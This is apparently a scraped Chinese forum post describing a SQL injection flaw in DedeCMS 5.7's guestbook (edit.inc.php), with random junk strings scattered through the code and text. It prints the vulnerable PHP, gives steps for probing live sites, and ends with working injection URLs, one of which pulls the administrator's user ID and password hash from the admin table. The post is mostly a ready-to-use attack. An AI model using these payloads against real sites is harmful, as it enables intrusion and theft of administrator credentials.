dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

+ U% j9 b9 @4 H4 [8 V. @( ^漏洞文件edit.inc.php具体代码：
' b: s# _4 r" \. L
- R/ x* l* Y8 a9 B( S& c< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
; d+ [! B4 h& J! `5 F6 k* W9 V
   
3 e) _+ P( |5 |
$ B7 H0 d. d% t  V+ m0 Sif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% ^6 F, a( M% v8 l/ c" S
7 Q+ K4 A8 Z+ G/ i# ^. ], K) I+ Celse $GUEST_BOOK_POS = "guestbook.php";  
" ]# l& m, M1 N
   

$id = intval($id);  

9 ^/ S( i; _1 B6 yif(empty($job)) $job='view';  

+ v9 L! A2 W. C  ~6 X- G( a   

( l$ @2 x9 O) {* Z1 Iif($job=='del' && $g_isadmin)  
3 k- c- B$ o5 a
{  
. ?* j$ F) d: C7 C0 ]8 D1 D6 m
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
% w( |) l& T3 F6 p: m
; C: z$ o1 e3 e) p2 z/ ^6 i, KShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
9 h: _& ~; B: ?9 S& k
0 ?2 x3 v" q$ V$ T8 B# pexit();  
6 L* e0 T8 {+ J
}  

0 t  I  [3 T% ?4 Celse if($job=='check' && $g_isadmin)  

) y7 G3 m, f& r9 K. {1 F6 u; z! v/ C5 x{  
+ A4 Z" S- F, J7 R* @" o
. H+ q4 x8 Z, t$ a+ o, a$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

, m) ]# w- b& w. eexit();  
; m2 @7 `  ?) N' _3 T3 K+ K3 M
' _  Y8 r+ H$ A}  

else if($job=='editok')  

{  
" q2 y8 J. @! O0 U/ c5 T4 P" @1 d3 B
! w8 V" p( J: Q* s. h5 H; b/ P$remsg = trim($remsg);  
3 o" [3 I5 L! {8 E$ Y
$ Y  v$ i  W2 D; p' o! m" ?$ xif($remsg!='')  

{  

5 @. W0 t# k% U. t//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. P. Z, d; x6 X( G
if($g_isadmin)  
2 D" W, P0 S+ R) j& S
{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

* ~, y' h8 B) n3 L4 Q//$remsg <br /><font color=red>管理员回复：</font> }  
7 B( t5 k* t& f: C9 R6 v
  l/ t' i. Q, a- W: e% ]else

{  
- u) z$ D2 @# Z( _. A
/ M# ^7 Z2 k' i" x) n& E8 v  M$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

: ~0 L2 M1 M) i5 x$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
  j1 M9 t: b) B$ A
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
5 c: }. l2 D# g
$msg = $oldmsg.$remsg;  

}  

}  
" x! s7 x7 e1 ^+ v
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

) j& F- v: r/ Z. x; }) t- v$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

' v, F2 P" P0 V! r" F3 |* v# EShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

8 p1 a/ i  x* Lexit();  

}  
7 H  _- {, s/ r
//home:www.errs.cc  

if($g_isadmin)  

1 q( W* k) S# w' s, `: G. F{  

1 G  U# M* h) U/ ]4 k" z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
0 {5 q0 z; c7 Z9 h+ J- x, s
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
- |% d6 `$ M5 E' P, b0 g6 E" K! c
' x1 n" t4 f- L& Y/ Z  B  `}  

) y1 X8 e- e& V( O4 xelse
- l- ?) ~  z# B, O& u4 M& T. v2 U
{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
% z" R9 W$ y  X' j- P" |1 H1 {
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
  z+ }4 L8 J3 C" M1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
5 U8 e0 \% u! k$ ?
怎么判断是否存在漏洞：
0 C: d8 }* x7 s  V3 V先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 `6 I, J5 ?6 }' z: j- N% K6 M访问：
$ l1 v% Y5 w) x$ t, l! K2 t( d
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
/ a* f( ?! D' r" [跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

# X( l: s; O8 }
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
$ `% ]1 ?" I' X1 f& m& R/ [* h那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

& r# x4 T) a7 G2 D. e大概利用就是这样，大家有兴趣的多研究下！！
( f9 c4 a/ ?* D& Q' t7 K; I
' t8 D0 @8 J: o: h: g7 m& Z' n最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='